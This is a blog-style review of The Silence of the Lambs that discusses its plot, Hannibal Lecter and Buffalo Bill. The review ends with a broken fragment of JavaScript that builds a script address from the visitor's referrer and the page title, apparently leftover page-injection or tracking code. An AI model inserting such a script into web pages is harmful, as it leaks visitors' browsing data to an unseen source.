Essential Film: Silence of the Lambs

By Emma Guinness

As a renowned “feartie”, I was apprehensive about watching The Silence of the Lambs. I knew that the cannibal Hannibal Lecter was a character, and cannibalism is one of the many things which terrifies me. I was, however, surprised to discover that The Silence of the Lambs effectively combines the crime and horror genres. Even though I am easily spooked, I enjoy the former, and there is just the right balance between the two. Therefore, if you like either of these genres, this film is essential viewing for various reasons, including its plot and characters.

The Silence of the Lamb’s thrilling plot follows the trainee FBI agent, Clarisse Starling (Jodie Foster), who is asked to interview the notorious Hannibal Lecter (Anthony Hopkins), a once respected psychiatrist, in order to obtain information which will lead to the capture of the seemingly unstoppable serial killer, Buffalo Bill (Ted Levine). Hannibal wants to escape from prison or, at the very least, to have more privileges and be moved to a better facility, and the two characters use each other throughout as they attempt to meet their own agendas. Clarisse’s need for information then grows greater when a senator’s daughter, Catherine Martin, is kidnapped by Buffalo Bill, and the FBI must race against time to save her. After all, Buffalo Bill’s killing pattern involves the capture of overweight women, keeping them alive for three days, shooting and skinning them, before disposing of their bodies (with the inclusion of a trademark death’s-head moth pupa in their mouths).

The film’s plot is complimented by its characters, in particular Hannibal Lecter and Buffalo Bill. Hannibal is interesting because of his cold, unfeeling descriptions of cannibalism: “A census taker once tried to test me. I ate his liver with some fava beans and a nice chianti.” This, however, is juxtaposed with his undeniable intelligence, as seen when he provides Clarisse with information about Buffalo Bill: “Look for severe childhood disturbances associated with violence. Our Billy wasn’t born a criminal, Clarice.” It is this combination of intelligence and madness which makes Hannibal a brilliant character: he is not only mad, but dangerous because he is so intelligent. Similarly, Buffalo Bill is, in my opinion, brilliant because of two defining characteristics: his openly sadistic nature and eccentricities. His sadistic nature is revealed when he refers to Catherine as ‘it’ as, to him, she is less than human: “It rubs the lotion on its skin.” Whereas his eccentricities can (amusingly) be seen through the fact that he is the owner of a nipple piercing and a bichon frisé named Precious.

It is for these reasons that The Silence of the Lambs is essential viewing. This classic film effectively combines the horror and crime genres, and contains some of the most memorable characters in cinematic history. These are, however, just some of the many reasons why The Silence of the Lambs is worth watching. It is a dark and enthralling film, and I can guarantee that you will not be disappointed even if you are, like me, a “feartie”.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;